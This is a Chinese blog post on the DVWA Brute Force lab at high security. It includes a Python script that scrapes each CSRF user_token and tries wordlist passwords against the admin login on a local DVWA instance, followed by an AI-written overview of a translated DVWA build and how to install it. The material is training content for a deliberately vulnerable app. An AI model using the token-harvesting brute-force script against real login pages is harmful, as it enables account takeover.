DVWA 1.10版本Brute Force(high)

本文介绍使用BurpSuite进行不同安全级别下的暴力破解过程,包括low和mid级别的直接破解及high级别中如何通过获取token并结合用户密码完成身份验证的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

low和mid等级直接使用burpsuite暴力破解,high等级先抓包发现有token认证机制,需要先获取token,然后用token加上用户密码验证身份。

以下为python暴力破解代码

import re
import requests


url='http://127.0.0.1:8000/vulnerabilities/brute/'
header={'Host': '127.0.0.1:8000',
	'Upgrade-Insecure-Requests': '1',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
	'Referer': 'http://127.0.0.1:8000/vulnerabilities/brute/',
	'Accept-Encoding': 'gzip, deflate',
	'Accept-Language': 'zh-CN,zh;q=0.9',
	'Cookie': 'csrftoken=ZFWiZJoWLGvU2CzqD2HSwGBzK79Fqrr8tDrSQAi2I3NIEpGxCcEq4IXsxxX6rzy3; PHPSESSID=t9bisbu48jq5b9cllf5ge5u8f6; security=high'}
txt=open('zd.txt')
line=txt.readline()
while line:
	password=line.strip()
	res=requests.get(url,headers=header)
	a=''
	a=res.content
	m="'user_token' value='(.*?)'"
	n=re.findall(r"'user_token' value='(.*?)'",a)
	if n:
		user_token=n[0]
	new_url=url+'?username=admin&password='+password+'&user_token='+user_token+'&Login=Login'
	res=requests.get(new_url,headers=header)
	if 'Username and/or password incorrect.' in res.content:
		print('Password %s is incorrect' %password)
	else:
		print('Password %s is correct' %password)
		break
	line = txt.readline()


                
### 关于 DVWA汉化版本及其下载 DVWA (Damn Vulnerable Web Application) 是一款用于安全测试的学习工具,其目标是提供一个易受攻击的应用程序环境供用户学习和实验。对于希望使用中文界面或教程的用户来说,可以参考以下资源: #### 汉化版本下载 存在一个完全汉化的 DVWA 版本,名为 **DVWA-Chinese**[^1]。该项目已经将原始英文版本进行了全面翻译,并提供了完整的功能支持。可以通过访问项目的托管地址来获取该版本: - 项目地址: [https://gitcode.com/gh_mirrors/dv/DVWA-Chinese](https://gitcode.com/gh_mirrors/dv/DVWA-Chinese)[^1] 此外,还有另一个可能的资源可供选择,它同样包含了详细的配置说明以及汉化后的文件包: - 参考链接: [https://gitcode.com/Resource-Bundle-Collection/79295](https://gitcode.com/Resource-Bundle-Collection/79295)[^5] #### 安装指南 为了成功运行 DVWA(无论是原版还是汉化版),需要具备一定的 PHP 和数据库环境支持。以下是推荐的一种简单方式——通过 phpStudy 工具完成安装过程。 - **phpStudy**: 这是一个集成开发环境,能够快速部署 LAMP/WAMP 平台所需的全部组件。 - 下载地址: [https://www.xp.cn/][^2] 按照官方文档或者社区分享的经验贴操作即可顺利完成设置流程[^4]。需要注意的是,在实际执行过程中可能会遇到诸如 `low.php` 文件被杀毒软件误判等问题;对此只需暂时关闭防护机制再重新尝试加载页面即可恢复正常工作状态。 #### 学习资料建议 如果正在寻找关于如何利用 DVWA 开展具体任务指导的信息,则可查阅如下几篇博文作为入门参考资料之一: - 文章标题:“DVWA教程实践之Brute Force”,作者记录了个人经历过的挑战环节解析心得[^3]; - “Win10下最新版DVWA搭建全过程详解”则针对Windows操作系统给出了更为详尽的操作指引。 以上内容均能帮助初学者更好地理解并掌握整个平台的功能特性。 ```bash # 示例命令:克隆仓库至本地目录 git clone https://gitcode.com/gh_mirrors/dv/DVWA-Chinese.git ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值